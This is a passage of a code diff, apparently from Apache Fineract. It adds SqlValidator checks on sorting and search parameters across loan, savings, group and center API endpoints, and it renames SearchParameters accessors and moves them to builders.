this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
@@ -267,12 +267,12 @@ public class ClientReadPlatformServiceImpl implements ClientReadPlatformService
|
||||
extraCriteria += " and c.lastname like ? ";
|
||||
}
|
||||
|
||||
if (searchParameters.isScopedByOfficeHierarchy()) {
|
||||
if (searchParameters.hasHierarchy()) {
|
||||
paramList.add(searchParameters.getHierarchy() + "%");
|
||||
extraCriteria += " and o.hierarchy like ? ";
|
||||
}
|
||||
|
||||
if (searchParameters.isOrphansOnly()) {
|
||||
if (searchParameters.getOrphansOnly()) {
|
||||
extraCriteria += " and c.id NOT IN (select client_id from m_group_client) ";
|
||||
}
|
||||
|
||||
|
||||
+2
-2
@@ -143,9 +143,9 @@ public class ClientTransactionReadPlatformServiceImpl implements ClientTransacti
|
||||
|
||||
// apply limit and offsets
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+10
-4
@@ -75,6 +75,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
|
||||
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
|
||||
import org.apache.fineract.portfolio.calendar.data.CalendarData;
|
||||
@@ -113,6 +114,7 @@ public class CentersApiResource {
|
||||
private final EntityDatatableChecksReadService entityDatatableChecksReadService;
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -177,10 +179,14 @@ public class CentersApiResource {
|
||||
return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray,
|
||||
GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS);
|
||||
}
|
||||
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
|
||||
final Boolean isOrphansOnly = false;
|
||||
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
|
||||
orderBy, sortOrder, isOrphansOnly);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
sqlValidator.validate(hierarchy);
|
||||
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
|
||||
.name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder).staffId(staffId).build();
|
||||
if (parameters.isPaged()) {
|
||||
final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters);
|
||||
return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS);
|
||||
|
||||
+11
-3
@@ -74,6 +74,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
|
||||
import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
|
||||
import org.apache.fineract.portfolio.calendar.data.CalendarData;
|
||||
@@ -130,6 +131,7 @@ public class GroupsApiResource {
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService;
|
||||
private final GSIMReadPlatformService gsimReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -197,11 +199,17 @@ public class GroupsApiResource {
|
||||
@QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) {
|
||||
|
||||
context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME);
|
||||
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
sqlValidator.validate(hierarchy);
|
||||
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
|
||||
orderBy, sortOrder, orphansOnly);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).isSelfUser(false).officeId(officeId)
|
||||
.externalId(externalId).name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder)
|
||||
.staffId(staffId).orphansOnly(orphansOnly).build();
|
||||
if (parameters.isPaged()) {
|
||||
final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters);
|
||||
return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS);
|
||||
|
||||
+6
-6
@@ -317,16 +317,16 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
|
||||
final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters);
|
||||
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
|
||||
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
|
||||
searchParameters.getSortOrder());
|
||||
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
@@ -352,15 +352,15 @@ public class CenterReadPlatformServiceImpl implements CenterReadPlatformService
|
||||
extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
|
||||
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
|
||||
if (searchParameters != null) {
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
|
||||
searchParameters.getSortOrder());
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+6
-6
@@ -137,15 +137,15 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
|
||||
final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters);
|
||||
extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString);
|
||||
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
|
||||
if (parameters.isOrderByRequested()) {
|
||||
if (parameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
|
||||
searchParameters.getSortOrder());
|
||||
}
|
||||
|
||||
if (parameters.isLimited()) {
|
||||
if (parameters.hasLimit()) {
|
||||
sqlBuilder.append(" limit ").append(searchParameters.getLimit());
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(" offset ").append(searchParameters.getOffset());
|
||||
}
|
||||
}
|
||||
@@ -168,17 +168,17 @@ public class GroupReadPlatformServiceImpl implements GroupReadPlatformService {
|
||||
|
||||
sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
|
||||
|
||||
if (searchParameters != null && searchParameters.isOrphansOnly()) {
|
||||
if (searchParameters != null && searchParameters.getOrphansOnly()) {
|
||||
sqlBuilder.append(" and g.parent_id is NULL");
|
||||
}
|
||||
|
||||
if (parameters != null) {
|
||||
if (parameters.isOrderByRequested()) {
|
||||
if (parameters.hasOrderBy()) {
|
||||
sqlBuilder.append(parameters.orderBySql());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
|
||||
}
|
||||
|
||||
if (parameters.isLimited()) {
|
||||
if (parameters.hasLimit()) {
|
||||
sqlBuilder.append(parameters.limitSql());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
|
||||
}
|
||||
|
||||
+6
@@ -87,6 +87,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.EntityTables;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.organisation.monetary.data.CurrencyData;
|
||||
import org.apache.fineract.organisation.staff.data.StaffData;
|
||||
import org.apache.fineract.portfolio.account.PortfolioAccountType;
|
||||
@@ -279,6 +280,7 @@ public class LoansApiResource {
|
||||
private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService;
|
||||
private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory;
|
||||
private final DelinquencyReadPlatformService delinquencyReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
/*
|
||||
* This template API is used for loan approval, ideally this should be invoked on loan that are pending for
|
||||
@@ -476,6 +478,10 @@ public class LoansApiResource {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
|
||||
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(accountNo);
|
||||
sqlValidator.validate(externalId);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder)
|
||||
.externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build();
|
||||
|
||||
|
||||
+4
-4
@@ -349,19 +349,19 @@ public class LoanReadPlatformServiceImpl implements LoanReadPlatformService, Loa
|
||||
arrayPos = arrayPos + 1;
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+6
-1
@@ -35,6 +35,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
|
||||
import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData;
|
||||
import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService;
|
||||
@@ -50,6 +51,7 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
|
||||
private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer;
|
||||
private final ApiRequestParameterHelper apiRequestParameterHelper;
|
||||
private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Consumes({ MediaType.APPLICATION_JSON })
|
||||
@@ -60,7 +62,10 @@ public class DepositAccountOnHoldFundTransactionsApiResource {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
|
||||
.sortOrder(sortOrder).build();
|
||||
|
||||
final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService
|
||||
.retriveAll(savingsId, guarantorFundingId, searchParameters);
|
||||
|
||||
+6
-1
@@ -69,6 +69,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.account.data.PortfolioAccountData;
|
||||
import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService;
|
||||
import org.apache.fineract.portfolio.savings.DepositAccountType;
|
||||
@@ -105,6 +106,7 @@ public class FixedDepositAccountsApiResource {
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -144,7 +146,10 @@ public class FixedDepositAccountsApiResource {
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME);
|
||||
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
|
||||
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
if (paginationParameters.isPaged()) {
|
||||
|
||||
+6
-1
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
|
||||
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.savings.DepositAccountType;
|
||||
import org.apache.fineract.portfolio.savings.DepositsApiConstants;
|
||||
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
|
||||
@@ -98,6 +99,7 @@ public class RecurringDepositAccountsApiResource {
|
||||
private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService;
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -138,7 +140,10 @@ public class RecurringDepositAccountsApiResource {
|
||||
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
|
||||
|
||||
this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME);
|
||||
final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
|
||||
.offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
|
||||
|
||||
if (paginationParameters.isPaged()) {
|
||||
|
||||
+7
-1
@@ -65,6 +65,7 @@ import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
|
||||
import org.apache.fineract.infrastructure.core.service.Page;
|
||||
import org.apache.fineract.infrastructure.core.service.SearchParameters;
|
||||
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.savings.DepositAccountType;
|
||||
import org.apache.fineract.portfolio.savings.SavingsApiConstants;
|
||||
import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
|
||||
@@ -92,6 +93,7 @@ public class SavingsAccountsApiResource {
|
||||
private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService;
|
||||
private final BulkImportWorkbookService bulkImportWorkbookService;
|
||||
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@GET
|
||||
@Path("template")
|
||||
@@ -134,7 +136,11 @@ public class SavingsAccountsApiResource {
|
||||
|
||||
context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
|
||||
|
||||
final SearchParameters searchParameters = SearchParameters.forSavings(externalId, offset, limit, orderBy, sortOrder);
|
||||
sqlValidator.validate(orderBy);
|
||||
sqlValidator.validate(sortOrder);
|
||||
sqlValidator.validate(externalId);
|
||||
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
|
||||
.orderBy(orderBy).sortOrder(sortOrder).build();
|
||||
|
||||
final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters);
|
||||
|
||||
|
||||
+4
-4
@@ -60,19 +60,19 @@ public class DepositAccountOnHoldTransactionReadPlatformServiceImpl implements D
|
||||
paramObj.add(guarantorFundingId);
|
||||
}
|
||||
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+4
-4
@@ -217,19 +217,19 @@ public class SavingsAccountReadPlatformServiceImpl implements SavingsAccountRead
|
||||
objectArray[arrayPos] = searchParameters.getOfficeId();
|
||||
arrayPos = arrayPos + 1;
|
||||
}
|
||||
if (searchParameters.isOrderByRequested()) {
|
||||
if (searchParameters.hasOrderBy()) {
|
||||
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
|
||||
|
||||
if (searchParameters.isSortOrderProvided()) {
|
||||
if (searchParameters.hasSortOrder()) {
|
||||
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
|
||||
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
|
||||
}
|
||||
}
|
||||
|
||||
if (searchParameters.isLimited()) {
|
||||
if (searchParameters.hasLimit()) {
|
||||
sqlBuilder.append(" ");
|
||||
if (searchParameters.isOffset()) {
|
||||
if (searchParameters.hasOffset()) {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
|
||||
} else {
|
||||
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
|
||||
|
||||
+11
-10
@@ -69,6 +69,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
private final ReadWriteNonCoreDataService datatableService;
|
||||
private final DataTableValidator dataTableValidator;
|
||||
private final JdbcTemplate jdbcTemplate;
|
||||
private final SearchUtil searchUtil;
|
||||
|
||||
@Override
|
||||
public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId,
|
||||
@@ -76,7 +77,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME);
|
||||
|
||||
String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName();
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
|
||||
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable));
|
||||
|
||||
PageRequest pageable = searchParameters.getPageable();
|
||||
@@ -84,7 +85,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
if (pageable.getSort().isSorted()) {
|
||||
List<Sort.Order> orders = pageable.getSort().toList();
|
||||
sortPageable = pageable.withSort(Sort.by(orders.stream()
|
||||
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
} else {
|
||||
pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id");
|
||||
sortPageable = pageable;
|
||||
@@ -108,7 +109,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
String alias = "tr";
|
||||
StringBuilder where = new StringBuilder();
|
||||
ArrayList<Object> params = new ArrayList<>();
|
||||
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
|
||||
searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
|
||||
|
||||
SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper();
|
||||
Object[] args = params.toArray();
|
||||
@@ -185,8 +186,8 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
dataTableValidator.validateTableSearch(queryRequest);
|
||||
|
||||
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable);
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
|
||||
String pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
|
||||
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
|
||||
String pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
|
||||
|
||||
AdvancedQueryData baseQuery = queryRequest.getBaseQuery();
|
||||
List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries();
|
||||
@@ -200,9 +201,9 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
selectColumns = new ArrayList<>();
|
||||
} else {
|
||||
columnFilters = baseQuery.getNonNullFilters();
|
||||
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
|
||||
resultColumns = baseQuery.getNonNullResultColumns();
|
||||
selectColumns = new ArrayList<>(SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
|
||||
selectColumns = new ArrayList<>(searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
|
||||
}
|
||||
columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString()));
|
||||
if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) {
|
||||
@@ -214,7 +215,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
if (pageable.getSort().isSorted()) {
|
||||
List<Sort.Order> orders = pageable.getSort().toList();
|
||||
sortPageable = pageable.withSort(Sort.by(orders.stream()
|
||||
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
|
||||
} else {
|
||||
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
|
||||
sortPageable = pageable;
|
||||
@@ -228,7 +229,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false));
|
||||
StringBuilder where = new StringBuilder();
|
||||
ArrayList<Object> params = new ArrayList<>();
|
||||
SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
|
||||
searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
|
||||
sqlGenerator);
|
||||
|
||||
if (datatableQueries != null) {
|
||||
@@ -280,7 +281,7 @@ public class SavingsAccountTransactionsSearchServiceImpl implements SavingsAccou
|
||||
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
|
||||
|
||||
while (rowSet.next()) {
|
||||
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
|
||||
}
|
||||
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
|
||||
}
|
||||
|
||||
+5
-4
@@ -33,7 +33,7 @@ import org.apache.fineract.infrastructure.dataqueries.data.DataTableValidator;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService;
|
||||
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
|
||||
